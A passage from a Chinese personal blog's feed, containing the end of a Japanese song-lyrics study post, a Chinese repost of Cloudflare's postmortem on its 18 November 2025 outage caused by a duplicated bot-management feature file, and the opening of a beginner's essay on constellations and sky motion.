ni</strong></span></p><p>そんなことを心（こころ）から　　願（ねが）うほどに</p><p>这是我发自内深处唯一的祈愿</p><p><br></p><p><br></p><p><span class="color-pink-03"><strong>&nbsp;i ma de mo a na ta wa wa ta shi no hi ka ri</strong></span></p><p>今（いま）でもあなたはわたしの光（ひかり）</p><p>时至今日 你仍是我的光芒</p><p><br></p><p><span class="color-pink-03"><strong>ji bu n ga o mo u yo ri</strong></span></p><p>自分（じぶん）が思（おも）うより</p><p>超出了我自己的想象</p><p><br></p><p><span class="color-pink-03"><strong>ko i wo shi te i ta a na ta ni</strong></span></p><p>恋（こい）をしていたあなたに</p><p>我深深地恋慕着你</p><p><br></p><p><span class="color-pink-03"><strong>a re ka ra o mo u yo u ni i ki ga de ki na i</strong></span></p><p>あれから思（おも）うように&nbsp; &nbsp; &nbsp; &nbsp;息（いき）ができない</p><p>自此每当想起你 都如同窒息般痛苦</p><p><br></p><p><span class="color-pink-03"><strong>a n na ni so ba ni i ta no ni ma ru de u so mi ta i</strong></span></p><p>あんなに　侧（そば）にいたのに&nbsp; &nbsp; まるで嘘（うそ）みたい</p><p>你曾亲密伴我身旁 如今却如烟云般消散</p><p><br></p><p><span class="color-pink-03"><strong>to te mo wa su re ra re na i</strong></span></p><p>とても忘（わす）れられない</p><p>我永远都不会将你遗忘</p><p><br></p><p><span class="color-pink-03"><strong>so re da ke ga ta shi ka</strong></span></p><p>それだけが確（たし）か</p><p>这是唯一能确定的</p><p><br></p><p><span class="color-pink-03"><strong>a no hi no ka na shi mi sa e</strong></span></p><p>あの日（ひ）の悲（かな）しみさえ</p><p>那日的悲伤</p><p><br></p><p><span class="color-pink-03"><strong>a no hi no ku ru shi mi sa e</strong></span></p><p>あの日（ひ）の苦（くる）しみさえ</p><p>与那日的痛苦</p><p><br></p><p><span class="color-pink-03"><strong>so no su be te wo a i shi te ta a na ta to to mo ni</strong></span></p><p>そのすべてを&nbsp; &nbsp;爱（あい）してたあなたとともに</p><p>连同深爱着这一切的你</p><p><br></p><p><span class="color-pink-03"><strong>mu ne ni no ko ri ha na re na i</strong></span></p><p>胸（むね）に残（のこ）り離（はな）れない</p><p>化作了深深烙印在我心中的</p><p><br></p><p><span class="color-pink-03"><strong>&nbsp;ni ga i re mo n no ni o i</strong></span></p><p>苦（にが）いレモン&nbsp; &nbsp;の匂（にお）い</p><p>苦涩柠檬的香气</p><p><br></p><p><span class="color-pink-03"><strong>a me ga fu ri ya mu ma de wa ka e re na i</strong></span></p><p>雨（あめ）が降（ふ）り止（や）むまでは&nbsp; &nbsp; &nbsp; 帰（かえ）れない</p><p>在雨过天晴前都无法归去</p><p><br></p><p><span class="color-pink-03"><strong>ki ri wa ke ta ka ji tsu no ka ta ho u no yo u ni</strong></span></p><p>切（き）り分（わ）けた果実（かじつ）の片方（かたほう）</p><p>の様（よう）に</p><p>如同被切开的半个柠檬一般</p><p><br></p><p><span class="color-pink-03"><strong>&nbsp;i ma de mo a na ta wa wa ta shi no hi ka ri</strong></span></p><p>今（いま）でもあなたはわたしの光（ひかり）</p><p>时至今日 你仍是我的光芒</p><p><br></p></div>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 style=&quot;text-align:center;font-family:FZZhiYi-M12S;font-weight:700;&quot;&gt;边打游戏边学日语的入门笔记&lt;/h1&gt;
&lt;p&gt;我的国服账号被限制必须预安装腾讯反作弊系统才能游玩，因此我开始游玩国际服，同时为了保证延迟较</summary>
      
    
    
    
    <category term="语言" scheme="https://blog.alexation.cn/categories/%E8%AF%AD%E8%A8%80/"/>
    
    
    <category term="GAME" scheme="https://blog.alexation.cn/tags/GAME/"/>
    
    <category term="日语" scheme="https://blog.alexation.cn/tags/%E6%97%A5%E8%AF%AD/"/>
    
  </entry>
  
  <entry>
    <title>2025年11月18日Cloudflare服务中断分析</title>
    <link href="https://blog.alexation.cn/trans/cloudflare_outage_2025/"/>
    <id>https://blog.alexation.cn/trans/cloudflare_outage_2025/</id>
    <published>2025-11-22T01:05:05.000Z</published>
    <updated>2025-11-23T07:10:28.944Z</updated>
    
    <content type="html"><![CDATA[<div class="note blue anzhiyufont anzhiyu-icon-bullhorn modern"><p>冬天到啦！</p></div><h1>本文章来源背景</h1><p>2025年11月18日这一天，我在玩KovaaK’s时发生了我无法连接服务器的问题，当时以为是我的网络环境不好，我只好转去玩其他游戏，但后续我注意到大部分连接到Cloudflare网络的服务器均出现5xx错误，我才知道发生了较大范围较长时间的一次崩溃。</p><img src="https://img.alexation.cn/blog/post/trans/cloudflare/kov.png" style="zoom: 33%;" /><img src="https://img.alexation.cn/blog/post/trans/cloudflare/kov2.jpg" style="zoom: 67%;" /><p>本次在搜索相关资料时，官方专门写了一篇博客来反思整件事情。本着学习的态度，我将其迁移至此，并附上一些语言的翻译链接。</p><div calss='anzhiyu-tag-link'><a class="tag-Link" target="_blank" href="https://blog.cloudflare.com/zh-cn/18-november-2025-outage/">    <div class="tag-link-tips">引用站外地址</div>    <div class="tag-link-bottom">        <div class="tag-link-left" style="">          <i class="anzhiyufont anzhiyu-icon-link" style=""></i>        </div>        <div class="tag-link-right">            <div class="tag-link-title">Cloudflare 于 2025 年 11 月 18 日发生故障</div>            <div class="tag-link-sitename"> 马修·普林斯</div>        </div>        <i class="anzhiyufont anzhiyu-icon-angle-right"></i>    </div>    </a></div><div class="tip sync"><p>官方博客原文链接：<a href="https://blog.cloudflare.com/18-november-2025-outage/">Cloudflare outage on November 18, 2025</a></p></div><h1 style="text-align:center;font-family:FZZhiYi-M12S;font-weight:700;">2025年11月18日Cloudflare服务中断</h1><p>2025 年 11 月 18 日 11:20 UTC（本博客中的所有时间均为世界标准时间），Cloudflare 网络开始出现严重故障，无法正常传输核心网络流量。尝试访问我们客户网站的互联网用户会看到一个错误页面，提示 Cloudflare 网络出现故障。</p><p><img src="https://img.alexation.cn/blog/post/trans/cloudflare/cover.webp" alt=""></p><p>**并不是任何类型的网络攻击或恶意活动直接或间接引发了此问题。**相反，它是因为我们数据库系统权限变更而触发，权限变更导致数据库将多个条目输出到 Cloudflare 机器人管理系统使用的“特征文件”。结果，该特征文件的大小增加了一倍。随后，这个超出预期大小的特征文件传播到构成 Cloudflare 网络的所有计算机。</p><p>这些计算机上运行的负责路由 Cloudflare 网络流量的软件，会读取该特征文件，使 Cloudflare 机器人管理系统能够及时更新，以应对不断变化的威胁。但软件设置了特征文件大小限制，即：不超过其两倍大小。因此，导致软件无法运行。</p><p>起初，我们误以为这些观察到的迹象是由超大规模 DDoS 攻击引起。随后，我们正确识别了核心问题，并成功阻止了异常增大的特征文件传播，将其替换为早期版本。到 14:30 时，核心流量基本恢复正常。在接下来的几小时内，随着流量逐步恢复在线，我们努力减轻网络各部分增加的负载。截至 17:06，Cloudflare 所有系统均已恢复正常运行。</p><p>对于此次事件给 Cloudflare 客户以及整个互联网带来的影响，我们深表歉意。鉴于 Cloudflare 在互联网生态系统中的重要作用，任何系统中断都是不可接受的。网络故障期间导致无法正常传输流量，这令我们团队所有成员都深感痛心。我们深知，今天的服务中断让大家失望了。</p><p>本文将详细回顾事件的来龙去脉，以及哪些系统和流程出现了故障。这也是我们制定一系列措施的开端，但绝非终点，以确保此类故障不再发生。</p><h2 id="服务中断">服务中断</h2><p>下图显示了 Cloudflare 网络处理的 5xx 错误 HTTP 状态代码的数量。通常情况下，这个数值应该非常低，而且在故障发生前也确实如此。</p><p><img src="https://img.alexation.cn/blog/post/trans/cloudflare/1.webp" alt=""></p><p>11:20 之前的数量是 Cloudflare 网络中观察到的 5xx 错误的预期基准。峰值以及随后的波动表明，Cloudflare 系统因加载了错误的特征文件而发生故障。值得注意的是，Cloudflare 系统随后恢复了一段时间。对于内部错误而言，这是非比寻常的行为。</p><p>合乎逻辑的解释是，该文件由 ClickHouse 数据库集群上运行的查询每五分钟生成一次，该集群正在逐步更新，以改进权限管理。只有当查询在集群中已更新的部分运行时，才会生成错误数据。因此，有可能每五分钟生成一组正确的配置文件或一组错误的配置文件，并在 Cloudflare 网络中快速传播。</p><p>这种波动导致我们无法确切知晓发生了什么情况，因为整个系统短暂恢复，然后再次出现故障，Cloudflare 网络中有时分发正确的配置文件，有时分发错误的配置文件。起初，这让我们怀疑故障可能是由攻击引起。最终，每个 ClickHouse 节点都生成了错误的配置文件，并且波动稳定在故障状态。</p><p>错误持续出现，直到 14:30 才找到并解决了根本问题。我们采用的解决办法是停止生成和传播错误的特征文件，并手动将已知的正确文件插入特征文件分发队列。然后，强制重启 Cloudflare 核心代理。</p><p>如上图剩余的长尾部分所示，我们团队重新启动了其余进入故障状态的服务，5xx 错误代码数量已在 17:06 恢复正常。</p><p>以下服务受到了影响：</p><table><thead><tr><th><strong>服务/产品</strong></th><th><strong>影响描述</strong></th></tr></thead><tbody><tr><td>核心 CDN 与安全服务</td><td>HTTP 5xx 状态代码。本文顶部的屏幕截图显示了最终用户看到的典型错误页面。</td></tr><tr><td>Turnstile</td><td>Turnstile 无法加载。</td></tr><tr><td>Workers KV</td><td>由于核心代理出现故障，导致对 KV“前端”网关发出的请求失败，进而导致 Workers KV 返回的 HTTP 5xx 错误数量显著增加。</td></tr><tr><td>仪表板</td><td>虽然仪表板基本维持正常运行，但由于登录页面中的 Turnstile 不可用，导致大多数用户无法登录。</td></tr><tr><td>电子邮件安全</td><td>虽然电子邮件处理和递送未受影响，但我们观察到对某个 IP 信誉源的访问暂时中断，这降低了垃圾邮件检测的准确性，阻止了某些新域期限检测的触发，不过未对客户造成严重影响。此外，我们还发现了某些自动移动操作出现故障；所有受影响的邮件均已审核并修复。</td></tr><tr><td>Access</td><td>从事件发生之初一直持续到 13:05 启动回滚为止，大多数用户普遍遭遇了身份验证失败。所有现有 Access 会话均未受到影响。 所有身份验证失败的尝试均导致显示错误页面，也就是说，在身份验证失败的情况下，没有任何用户能够访问目标应用。在此期间，所有成功的登录均已正确记录。 当时尝试的任何 Access 配置更新，要么直接失败，要么传播速度非常缓慢。现在，所有配置更新均已恢复。</td></tr></tbody></table><p>在受影响期间，除了返回 HTTP 5xx 错误之外，我们还观察到 CDN 的响应延迟显著增加。这是由于 Cloudflare 调试和可观测系统消耗了大量 CPU 资源，这些系统会自动为未处理的错误添加额外的调试信息。</p><h2 id="Cloudflare-如何处理请求，以及今天出现的问题">Cloudflare 如何处理请求，以及今天出现的问题</h2><p>每个发送到 Cloudflare 的请求都会沿着我们网络中一条明确定义的路径进行传输，可能是来自加载网页的浏览器、调用 API 的移动应用，或来自其他服务的自动化流量。这些请求首先在 HTTP 和 TLS 层终止，然后流入 Cloudflare 核心代理系统（我们称之为“前线 (FL)”），最后经过 Pingora，它会根据需要执行缓存查询或从源服务器获取数据。</p><p>我们之前详细介绍了核心代理的工作原理，请访问<a href="https://blog.cloudflare.com/20-percent-internet-upgrade/">此处</a>查看。</p><p><img src="https://img.alexation.cn/blog/post/trans/cloudflare/2.webp" alt=""></p><p>当请求经过核心代理时，我们会运行网络中可用的各种安全和性能产品。代理会应用每个客户的独特配置和设置，包括强制执行 WAF 规则、DDoS 防护，以及将流量路由至开发人员平台和 R2。它通过一组特定的域模块来实现这一目标，这些模块将配置和策略规则应用于经过 Cloudflare 代理服务器的流量。</p><p>其中一个模块，也就是“机器人管理”，是导致今天服务中断的根本原因。</p><p>Cloudflare 的<a href="https://www.cloudflare.com/application-services/products/bot-management/">机器人管理</a>模块包含多个系统，其中之一是机器学习模型，我们使用该模型为流经 Cloudflare 网络的每个请求生成机器人评分。我们的客户使用机器人评分来控制允许或禁止哪些机器人访问其网站。</p><p>该模型将一个“特征”配置文件作为输入。在这里的语境中，特征是指机器学习模型用于预测请求是否为自动化请求的单个特征。功能配置文件是这些单个特征的集合。</p><p>此特征文件每隔几分钟会更新一次，并发布到整个 Cloudflare 网络，使我们能够应对互联网流量的变化。这让我们可以针对新型机器人和新型机器人攻击做出反应。总之，鉴于恶意行为者快速变更其策略，频繁且迅速地部署特征文件至关重要。</p><p>由于底层 ClickHouse 查询行为变更（详见下文），导致生成特征文件时出现了大量重复的“特征”行。这改变了原本固定大小的特征配置文件的大小，从而导致机器人模块触发错误。</p><p>因此，对于所有依赖于机器人模块的流量，负责处理客户流量的核心代理系统都返回了 HTTP 5xx 错误代码。这也影响了同样依赖于核心代理的 Workers KV 和 Access 服务。</p><p>与此次事件无关的一点是，我们曾经且目前正在将客户流量迁移到新版本的代理服务，内部称为 <a href="https://blog.cloudflare.com/20-percent-internet-upgrade/">FL2</a>。虽然两个版本都受到了影响，但根据观察，二者的影响程度有所不同。</p><p>部署在新 FL2 代理引擎上的客户，观察到了 HTTP 5xx 错误；使用旧代理引擎（称为 FL）的客户未观察到任何错误，但生成的机器人评分不正确，导致所有流量的机器人评分均为零。已部署规则用于阻止机器人的客户，发现了大量误报。相比之下，未在其规则中使用 Cloudflare 机器人评分的客户，则未受到任何影响。</p><p>另一个让我们失去警惕且误以为这次遭受了攻击的明显迹象是：Cloudflare 的状态页面宕机了。状态页面完全托管在 Cloudflare 的基础设施之外，不依赖于 Cloudflare 网络。虽然最终证实这只是一个巧合，但它让参与问题诊断的团队成员认为，攻击者可能同时针对 Cloudflare 系统和状态页面发起攻击。当时访问状态页面的用户会看到一则错误消息：</p><p><img src="https://img.alexation.cn/blog/post/trans/cloudflare/3.webp" alt=""></p><p>在内部事件聊天室中，我们担心这可能是近期一波高流量 <a href="https://techcommunity.microsoft.com/blog/azureinfrastructureblog/defending-the-cloud-azure-neutralized-a-record-breaking-15-tbps-ddos-attack/4470422">Aisuru </a><a href="https://blog.cloudflare.com/defending-the-internet-how-cloudflare-blocked-a-monumental-7-3-tbps-ddos/">DDoS 攻击</a>的延续：</p><p><img src="https://img.alexation.cn/blog/post/trans/cloudflare/4.webp" alt=""></p><h3 id="查询行为变更">查询行为变更</h3><p>我在上文提到过，底层查询行为变更导致该特征文件中出现大量重复行。关联的数据库系统使用 ClickHouse 软件。</p><p>为了便于理解，了解 ClickHouse 分布式查询的工作原理大有裨益。一个 ClickHouse 集群由多个分片组成。为了查询所有分片中的数据，我们在名为 <code>default</code> 的数据库中使用了所谓的分布式表（由表引擎 <code>Distributed</code> 提供支持）。Distributed 引擎会查询数据库 <code>r0</code> 中的基础表。基础表用于存储 ClickHouse 集群中每个分片上的数据。</p><p>分布式表的查询通过共享系统账户运行。为了提高分布式查询的安全性和可靠性，我们努力让查询以初始用户账户身份运行。</p><p>在今天之前，当 ClickHouse 用户从 ClickHouse 系统表中查询表元数据（例如 <code>system.tables</code> 或 <code>system.columns</code> 时，只能看到 <code>default</code> 数据库中的表。</p><p>由于用户已经拥有对 <code>r0</code> 中基础表的隐式访问权限，我们在 11:05 进行了一项更改，使这种访问权限显化，以便用户也可以查看这些表的元数据。通过确保所有分布式子查询都能够以初始用户身份运行，我们可以更精细化地评估查询限制和访问权限授权，从而避免因某个用户的错误子查询而影响其他用户。</p><p>上述更改使所有用户都能够访问其有权访问的表中的准确元数据。遗憾的是，过去我们做出了一些假设，认为此类查询返回的列的列表仅包含 <code>default</code> 数据库：</p><pre class="language-SQL" data-language="SQL"><code class="language-SQL">SELECT name,type FROM system.columnsWHERE table &#x3D; &#39;http_requests_features&#39; order by name;</code></pre><p>请注意，该查询并未按数据库名称进行筛选。随着我们逐步向特定 ClickHouse 集群的用户授予显式权限，在 11:05 进行更改之后，上述查询开始返回“重复”列，因为这些列对应存储在 r0 数据库中的基础表。</p><p>可惜，这种类型的查询恰好由机器人管理功能文件生成逻辑执行，目的是构建本节开头提到的文件的每个输入“特征”。</p><p>上述查询会返回一个包含列的表，类似于下表（简化版示例）：</p><p><img src="https://img.alexation.cn/blog/post/trans/cloudflare/5.webp" alt=""></p><p>然后，由于用户获得了额外的权限，响应现在包含 <code>r0</code> 架构的所有元数据，导致响应中的行数增加了一倍以上，最后影响最终文件输出中的行数（即：特征数量）。</p><h3 id="内存预分配">内存预分配</h3><p>我们代理服务上运行的每个模块都设置了一些限制，以避免无限制的内存消耗，并通过预分配内存来优化性能。在本实例中，机器人管理系统限制了运行时可用的机器学习特征数量。当前，该限制设置为 200，远高于我们目前使用的大约 60 个特征。同样，设置此限制是出于性能考虑，我们为这些特征预分配了内存。</p><p>当包含 200 多个特征的错误文件传输到 Cloudflare 服务器时，达到了此项限制，导致系统崩溃。以下显示了执行检查并导致未处理错误的 FL2 Rust 代码：</p><p><img src="https://img.alexation.cn/blog/post/trans/cloudflare/6.webp" alt=""></p><p>这导致了以下线程崩溃，进而引发了 5xx 错误：</p><pre class="language-Rust" data-language="Rust"><code class="language-Rust">thread fl2_worker_thread panicked: called Result::unwrap() on an Err value</code></pre><h3 id="事件期间的其他影响">事件期间的其他影响</h3><p>其他依赖我们核心代理的系统也受到了此次事件的影响，包括 Workers KV 和 Cloudflare Access。团队于 13:04 发布了针对 Workers KV 的补丁，以绕过核心代理，成功降低了这些系统所受的影响。随后，所有依赖于 Workers KV 的下游系统（例如 Access 本身）的错误率均有所降低。</p><p>由于内部使用了 Workers KV 且 Cloudflare Turnstile 部署作为登录流程的一部分，Cloudflare 控制面板也受到了影响。</p><p>Turnstile 受到了本次服务中断的影响，导致没有建立活跃仪表板会话的客户无法登录。这表现为两个时段的服务可用性降低：一是 11:30 至 13:10，二是 14:40 至 15:30，如下图所示。</p><p><img src="https://img.alexation.cn/blog/post/trans/cloudflare/7.webp" alt=""></p><p>第一个时段（11:30 至 13:10）是由于 Workers KV 受到影响，而某些控制平面和仪表板功能依赖于 Workers KV。此问题已于 13:10 修复，解决办法是 Workers KV 绕过了核心代理系统。 恢复功能配置数据后，对仪表板产生了第二次影响。大量登录尝试开始涌入仪表板，导致其不堪重负。这种任务积压，再加上重试尝试，导致延迟增加，降低了仪表板的可用性。在 15:30 左右，通过扩展控制平面并发，恢复了服务可用性。</p><h2 id="补救及后续步骤">补救及后续步骤</h2><p>Cloudflare 系统现已恢复在线并正常运行，我们已开始着手研究如何增强系统防御，以防止未来再次发生此类故障。具体而言，我们将：</p><ul><li>强化对 Cloudflare 生成的配置文件的摄取，使其与用户生成的输入文件一样安全</li><li>为各个特征启用更多全局终止开关</li><li>防止核心转储或其他错误报告占用过多系统资源</li><li>审核所有核心代理模块中的故障模式，找出错误原因</li></ul><p>今天发生的事件是 Cloudflare <a href="https://blog.cloudflare.com/details-of-the-cloudflare-outage-on-july-2-2019/">自 2019 年</a>以来最严重的一次服务中断。我们之前也遇到过导致<a href="https://blog.cloudflare.com/post-mortem-on-cloudflare-control-plane-and-analytics-outage/">仪表板不可用</a>的故障，以及导致在特定时段无法使用<a href="https://blog.cloudflare.com/cloudflare-service-outage-june-12-2025/">新增功能</a>的情况。但在过去 6 年多时间里，我们从未发生过像今天这样导致大部分核心流量中断的故障。</p><p>像今天这样的服务中断是不可接受的。Cloudflare 设计的系统架构具有极高的故障恢复能力，以确保流量始终畅通无阻。过去发生的故障总会促使我们构建全新的、更有韧性性的系统。</p><p>我谨代表 Cloudflare 全体员工，对因今日故障导致的互联网服务中断而受影响的各方致以诚挚歉意。</p><table><thead><tr><th>时间 (UTC)</th><th>状态</th><th>描述</th></tr></thead><tbody><tr><td>11:05</td><td>正常。</td><td>数据库访问控制变更已部署。</td></tr><tr><td>11:28</td><td>影响开始显现。</td><td>部署到达客户环境，首次在客户 HTTP 流量中发现错误。</td></tr><tr><td>11:32-13:05</td><td>Cloudflare 团队调查了 Workers KV 服务的流量激增和错误情况。</td><td>最初的迹象表现为 Workers KV 响应速度下降，进而导致下游的其他 Cloudflare 服务受到影响。 我们尝试了流量控制和账户限制等缓解措施，以便让 Workers KV 服务恢复到正常运行水平。 首次自动化测试于 11:31 检测到问题，人工调查于 11:32 启动。事件呼叫于 11:35 创建。</td></tr><tr><td>13:05</td><td>实施了 Workers KV 和 Cloudflare Access 绕过措施 - 已减轻影响。</td><td>在调查过程中，我们针对 Workers KV 和 Cloudflare Access 使用了内部系统绕过措施，使二者回退到我们核心代理的先前版本。虽然我们代理的先前版本中也存在这个问题，但如下文所述，其影响较小。</td></tr><tr><td>13:37</td><td>工作重点是将机器人管理配置文件回滚至最近的已知合适版本。</td><td>我们确信，机器人管理配置文件是此次事件的触发因素。团队通过多个工作流程研究了补救服务的方法，其中最快的方法是恢复该文件之前的版本。</td></tr><tr><td>14:24</td><td>已停止创建和传播新的机器人管理配置文件。</td><td>我们已确定机器人管理模块是 500 错误的根源，而问题是由一个错误的配置文件引起。我们停止了自动部署新的机器人管理配置文件。</td></tr><tr><td>14:24</td><td>新文件测试完成。</td><td>我们观察到使用旧版本的配置文件成功恢复，随后集中精力加快全球范围的修复进程。</td></tr><tr><td>14:30</td><td>主要问题已解决。下游受影响服务的错误开始减少。</td><td>在全球范围内部署正确的机器人管理配置文件，并且大多数服务已开始正常运行。</td></tr><tr><td>17:06</td><td>所有服务均已恢复。影响结束。</td><td>所有下游服务均已重新启动，所有操作完全恢复。</td></tr></tbody></table><p>我们保护<a href="https://www.cloudflare.com/network-services/">整个企业网络</a>，帮助客户高效构建<a href="https://workers.cloudflare.com/">互联网规模的应用程序</a>，加速任何<a href="https://www.cloudflare.com/performance/accelerate-internet-applications/">网站或互联网应用程序</a>， <a href="https://www.cloudflare.com/ddos/">抵御 DDoS 攻击</a>，防止<a href="https://www.cloudflare.com/application-security/">黑客入侵</a>，并能协助您<a href="https://www.cloudflare.com/products/zero-trust/">实现 Zero Trust 的过程</a>。</p><p>从任何设备访问 <a href="https://one.one.one.one/">1.1.1.1</a>，以开始使用我们的免费应用程序，帮助您更快、更安全地访问互联网。要进一步了解我们帮助构建更美好互联网的使命，请<a href="https://www.cloudflare.com/learning/what-is-cloudflare/">从这里开始</a>。如果您正在寻找新的职业方向，请查看我们的<a href="http://www.cloudflare.com/careers">空缺职位</a>。</p><h1>关于KovaaK’s的解释</h1><p>在发生服务器故障后，玩家以及社区及时向开发者反应了该现象。</p><p><img src="https://img.alexation.cn/blog/post/trans/cloudflare/kov3.png" alt=""></p><p>此热修复解决了在发布场景数量突破 50,000 个后玩家反馈的创意工坊场景下载问题——这对于我们的社区来说是一个重要的里程碑，但也暴露了游戏在获取创意工坊数据方面存在一个硬性限制。</p><p>热修复 3.7.13 解决了大多数玩家的创意工坊下载问题。发布数量低于 50,000 个的场景现在应该可以正常加载，不会出现任何问题。少数高于该阈值的场景可能仍然存在运行不稳定的情况，我们正在积极开发，将在未来的更新中彻底修复此问题。</p><p>感谢所有迅速报告此问题的玩家。我们深知此问题给受影响的玩家带来了诸多不便，对此我们深表歉意。</p><p>现在，大多数用户的创意工坊下载功能应该可以正常使用。如果您仍然遇到特定场景的错误，请通过 Discord 或电子邮件告知我们——这有助于我们在最终修复之前验证这些特殊情况。</p><p>再次感谢您的耐心和理解。</p><p>📣您的声音，我们的灵感</p><p>感谢您一直以来的支持！我们始终期待您的反馈和建议。我们将持续更新，力求为 KovaaK 带来最佳的训练和游戏体验，敬请关注！</p><p>欢迎加入我们在 Twitter、Discord 和 Reddit 上的讨论！</p><p>访问我们的官方网站了解更多信息：</p><p><a href="https://kovaaks.com">https://kovaaks.com</a></p><p>如果您想提供翻译更正或建议，欢迎访问我们的翻译项目：</p><p><a href="https://crowdin.com/project/kovaaks">https://crowdin.com/project/kovaaks</a></p>]]></content>
    
    
    <summary type="html">Cloudflare于2025年11月18日发生故障。</summary>
    
    
    
    <category term="文章翻译" scheme="https://blog.alexation.cn/categories/%E6%96%87%E7%AB%A0%E7%BF%BB%E8%AF%91/"/>
    
    
    <category term="CDN" scheme="https://blog.alexation.cn/tags/CDN/"/>
    
  </entry>
  
  <entry>
    <title>从Homestar到星座：我与夜空的初次对话</title>
    <link href="https://blog.alexation.cn/hobby/star/"/>
    <id>https://blog.alexation.cn/hobby/star/</id>
    <published>2025-10-24T10:57:33.000Z</published>
    <updated>2026-06-07T08:42:17.958Z</updated>
    
    <content type="html"><![CDATA[<h1 style="text-align:center;font-family:FZZhiYi-M12S;font-weight:700;">星空之上，人类的故事</h1><p>美妙的星星还有它伙伴们很多星座们，在夕阳将最后一屡余晖撒向大地的时候，当深蓝的夜幕笼罩大地而驱走最后一抹夕阳时，天上的盛会开始了。在每一个夜晚上演着一个个古老的传说。作为人类在天空中幻想出的形象，星座表达出了古人在黑暗混沌中创立秩序的渴望，也滋养了后世无数动人的文学艺术作品。其实我之前从未认真地观察夜晚的天空，也许仅仅是在某个空气质量非常好的夜晚运气好偶然地抬头看到北斗七星（之前的我还不认识小熊座），没错，像勺子一样如此明显。作为人类在天空中幻想出的形象，星座表达出了古人在黑暗混沌中创立秩序的渴望，也滋养了后世无数动人的文学艺术作品。</p><p>我真正去探索星空的原因是《终将成为你》中七海灯子送给小糸侑的礼物——“Homestar Lite Home Planetarium”。《终将成为你》是一部情感表达十分细腻的漫画（动漫已上映），相比于Homestar礼物本身，我更喜爱七海灯子这份真挚的情感，包括《式守同学不只可爱而已》中提到的仙后座、《总之就是非常可爱》中对于时间与当下的思考以及《徒然喜欢你》中提到的角宿等等，我才渐渐想要了解星空。讲故事是最引人入胜的人类艺术之一，还有什么比夜晚的星星更能激发想象力的呢？对于星座的起源以及具体的拟人化，天文学书籍中并没有令人满意的答案。我购买了Homestar用来观测北半球的星空，以及阅读了《星座的故事》《星空解说》《星座全书》等书籍尝试去了解这一切。在古代天文学家眼里，每个星座所代表的是神话中的人物或动物，而现代天文学家将星座简单地定义为一片天区，因此，古老的星图用一幅图呈现一个星座似乎也是很自然的事情。这些星图本身就是艺术品，是过去的天文学家留给我们的最精美的宝藏之一。星座让我们与最古老的文明之间建立起非常真实的联系。每当仰望夜空，我们都可以共享这份遗产。当我渐渐理解这些古老的图案背后的意义时，也开始好奇：在真实的天空中，它们究竟是什么模样？或许，是时候抬头看看那片我们始终共享的夜空了。</p><h2 id="星空是远方的永恒">星空是远方的永恒</h2><p>想象一下，星空跟太阳一样，太阳每天早上从东边升起，中午来到南面，傍晚从西边沉落，星空也是东升西落。在位于天球中心的观测者看来，如天蝎座等位于南部天空较低，且靠近地平面的星座将从东往西(从左往右)移动，北斗七星等北部天空的星座则逆时针旋转。这些星星的运动，如果我们把它看成这是一个内附星星的虚拟球体“天球”，以地球的自转轴为中心旋转的话，就容易理解了。而地球的赤道面朝天球投影，与天球相交形成的大圆称为“天之赤道”。如果我们在赤道上去观测猎户座这种赤道星座，那么它们则会从正东升起，从正西下落。</p><img src="https://img.alexation.cn/blog/post/hobby/star/0.webp" alt="https://img.alexation.cn/blog/post/hobby/star/0.webp" style="zoom:50%;" /><p>下图是北天极附近的星座的周日视运动，体现了每6小时北斗七星和小熊座的位置变化。以北天极为中心6小时运转约90度，逆时针旋转。离北天极最近的北极星只会运转一点点，因为离北天极近，所以路径是一个小圆。小熊座等靠近北天极的星座，一整晚都不会沉到地平线以下。</p><img src="https://img.alexation.cn/blog/post/hobby/star/1.webp" alt="https://img.alexation.cn/blog/post/hobby/star/1.webp" style="zoom:50%;" /><p>下图从左到右依次表达了东边、南边、西边的天空中，星座运动的轨迹。东边和西边的天空，时间周期为1个半小时，南部的天空则是2个小时。猎户座等位于天赤道附近的星座，从东南方升起，沉入西南方位。而像天蝎座等，天之赤道以南的星座，只会在地平线上出现少许时间(以日本东京维度为依据)。</p><img src="https://img.alexation.cn/blog/post/hobby/star/2.webp" alt="https://img.alexation.cn/blog/post/hobby/star/2.webp" style="zoom:50%;" /><h3 id="四季星空运转的变换">四季星空运转的变换</h3><p>人类定义的一天为24小时，而实际地球自转周期约23小时56分。虽然每天我们在同一地球时间观察星空，但实际上会产生4分钟的误差。那么一个月总计快了约两个小时。而地球绕太阳一圈为一年(公转)，这四分钟之差慢慢累积在一起，星空也会慢慢的产生变化。请看下面的图，12月中旬的深夜0点(24点)猎户座会出现在正南方的半空中，格外显眼。</p><p>一个月后，如果你想看到同一位置的猎户座，那么你需要提前2个小时来观测。猎户座是著名的冬季星座，因为它亮星云集，所以很容易找到它但也不是只有冬天才可以找到猎户座。在秋天的黎明前，它会从东方的天空升起，而春天刚入夜时，它会出现在西方，没过多久就会沉入地平线。同时也介绍一下地球上的季节和星空的关系。右边的图是地球公转轨道面与天球的关系（午前=上午，午后=下午）。</p><img src="https://img.alexation.cn/blog/post/hobby/star/3.webp" alt="https://img.alexation.cn/blog/post/hobby/star/3.webp" style="zoom:50%;" /><h4 id="黄道十二星座">黄道十二星座</h4><div class="note purple anzhiyufont anzhiyu-icon-fan flat"><p>星象占卜中出现的《黄道十二星座》是天球上太阳和行星的通道~</p></div><img src="https://img.alexation.cn/blog/post/hobby/star/4.webp" alt="https://img.alexation.cn/blog/post/hobby/star/4.webp" style="zoom:50%;" /><p>西洋占星术将太阳在星空中运转的路径(黄道)分成12等份，每30度分为一宫即黄道十二宫。在日本星座占卜术慢慢流行起来，后来人们慢慢把“黄道十二星座”称之为“黄道十二星宫”，所以“宫”和“星座”是同一个概念。通过观察星星和太阳的运动了解季节和时间，对于为了准备进行农耕和畜牧的古代人来说，这是很重要的。由此衍生出的占星术，是基于星座，太阳和行星的位置关系，从而来占卜预测国家和个人的运势，所以才慢慢发展起来的。由于地轴以二万六千年的周期摆动，所以每隔二千多年，太阳到达某一宫的时间便会推迟约一个月。起初占星术将春分点设立在了白羊座，但由于历史悠久，随着时间的推移，现在则出现在了双鱼座。</p><img src="https://img.alexation.cn/blog/post/hobby/star/5.webp" alt="https://img.alexation.cn/blog/post/hobby/star/5.webp" style="zoom:50%;" 